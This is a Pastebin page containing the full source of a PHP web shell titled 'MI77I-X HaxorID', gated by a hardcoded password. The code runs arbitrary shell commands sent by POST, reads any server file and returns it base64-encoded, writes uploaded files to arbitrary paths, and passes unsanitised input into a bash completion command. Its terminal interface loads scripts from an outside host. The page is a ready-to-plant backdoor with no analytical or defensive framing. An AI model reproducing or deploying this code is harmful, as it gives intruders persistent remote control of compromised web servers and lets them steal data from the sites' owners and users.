Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function featureShell($cmd, $cwd) {
- $stdout = array();
- if (preg_match("/^\s*cd\s*$/", $cmd)) {
- // pass
- } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- chdir($match[1]);
- } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- return featureDownload($match[1]);
- } else {
- chdir($cwd);
- exec($cmd, $stdout);
- }
- return array(
- "stdout" => $stdout,
- "cwd" => getcwd()
- );
- }
- function featurePwd() {
- return array("cwd" => getcwd());
- }
- function featureHint($fileName, $cwd, $type) {
- chdir($cwd);
- if ($type == 'cmd') {
- $cmd = "compgen -c $fileName";
- } else {
- $cmd = "compgen -f $fileName";
- }
- $cmd = "/bin/bash -c \"$cmd\"";
- $files = explode("\n", shell_exec($cmd));
- return array(
- 'files' => $files,
- );
- }
- function featureDownload($filePath) {
- $file = @file_get_contents($filePath);
- if ($file === FALSE) {
- return array(
- 'stdout' => array('File not found / no read permission.'),
- 'cwd' => getcwd()
- );
- } else {
- return array(
- 'name' => basename($filePath),
- 'file' => base64_encode($file)
- );
- }
- }
- function featureUpload($path, $file, $cwd) {
- chdir($cwd);
- $f = @fopen($path, 'wb');
- if ($f === FALSE) {
- return array(
- 'stdout' => array('Invalid path / no write permission.'),
- 'cwd' => getcwd()
- );
- } else {
- fwrite($f, base64_decode($file));
- fclose($f);
- return array(
- 'stdout' => array('Done.'),
- 'cwd' => getcwd()
- );
- }
- }
- if (isset($_GET["feature"])) {
- $response = NULL;
- switch ($_GET["feature"]) {
- case "shell":
- $cmd = $_POST['cmd'];
- if (!preg_match('/2>/', $cmd)) {
- $cmd .= ' 2>&1';
- }
- $response = featureShell($cmd, $_POST["cwd"]);
- break;
- case "pwd":
- $response = featurePwd();
- break;
- case "hint":
- $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
- break;
- case 'upload':
- $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
- }
- header("Content-Type: application/json");
- echo json_encode($response);
- die();
- }
- session_start();
- $passwd = "HaxorID";
- if($_POST['passwd'] == $passwd) {
- $_SESSION['masuk'] = "masuk";
- header("Location: ?");
- }
- if(empty($_SESSION['masuk'])) {
- echo "
- <center><form method='post'><input type='passwd' type='submit' name='passwd' style='margin:0;background-color:#fff;border:0px solid #fff;'></form>";
- exit();
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8" />
- <title>MI77I-X@HaxorID:~#</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <link rel="stylesheet" href="https://repo.willy.pro/assets/css/mi7terminal.css" />
- <script type="text/javascript" src="https://repo.willy.pro/assets/js/mi7terminal.js"></script>
- </head>
- <body>
- <div id="shell">
- <pre id="shell-content">
- <div id="shell-logo">
- __ __ _____ ______ ______ _____ __ __ _ _____ _ _ _ <span></span>
- | \/ |_ _|____ |____ |_ _| \ \ / / | | / ____| | | | |<span></span>
- | \ / | | | / / / / | |_____\ V / | | | (___ | |__ ___| | |<span></span>
- | |\/| | | | / / / / | |______> < | | \___ \| '_ \ / _ \ | |<span></span>
- | | | |_| |_ / / / / _| |_ / . \ | | ____) | | | | __/ | |<span></span>
- |_| |_|_____|/_/ /_/ |_____| /_/ \_\ | | |_____/|_| |_|\___|_|_|<span></span>
- | | <span></span>
- |_| <span></span>
- </div>
- </pre>
- <div id="shell-input">
- <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
- <div>
- <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
- </div>
- </div>
- </div>
- </body>
- </html>
Add Comment
Please, Sign In to add comment